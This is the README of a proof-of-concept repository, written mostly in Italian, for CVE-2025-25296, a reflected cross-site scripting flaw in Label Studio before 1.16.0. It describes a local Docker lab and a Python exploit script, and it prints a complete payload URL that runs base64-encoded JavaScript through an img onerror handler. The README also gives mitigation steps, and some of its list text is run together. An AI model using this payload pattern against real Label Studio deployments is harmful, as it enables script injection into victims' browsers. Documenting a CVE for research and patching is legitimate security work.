
Proof of Concept (POC) for the CVE-2025-25296 vulnerability affecting Label Studio versions prior to 1.16.0
Questo progetto dimostra una prova di concetto (POC) per la vulnerabilità CVE-2025-25296 che colpisce Label Studio, uno strumento open-source per l'etichettatura dei dati. La vulnerabilità risiede nell'endpoint /projects/upload-example, che non riesce a sanitizzare il contenuto HTML fornito dall'utente nelle richieste GET. Ciò consente agli aggressori di eseguire JavaScript arbitrario nel browser della vittima, portando a potenziali attacchi di Cross-Site Scripting (XSS).
/projects/upload-example di Label Studio1.16.0 o successivaCome soluzione alternativa temporanea:
/projects/upload-example con richieste GET.pip utilizzando setup.sh)poc.py: script Python per sfruttare la vulnerabilità e dimostrare l'attacco XSS.setup.sh: script per configurare l'ambiente vulnerabile utilizzando Docker.Clonare questo repository:
git clone CVE-2025-25296-POC
cd CVE-2025-25296-POC
Eseguire lo script di configurazione:
chmod +x setup.sh
./setup.sh
Lo script di configurazione provvederà a:
1.15.0).localhost:8080.Eseguire lo script di exploit:
python poc.py
Lo script provvederà a:
/projects/upload-example.Aprire l'URL fornito in un browser web per osservare l'avviso XSS attivato dal payload.
[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E
Per mitigare questa vulnerabilità:
1.16.0 o successiva.Questo progetto è destinato esclusivamente a scopi educativi e di ricerca. Utilizzarlo in modo responsabile e solo su sistemi per i quali si dispone di un'autorizzazione esplicita. L'uso non autorizzato di questo strumento potrebbe violare le leggi applicabili.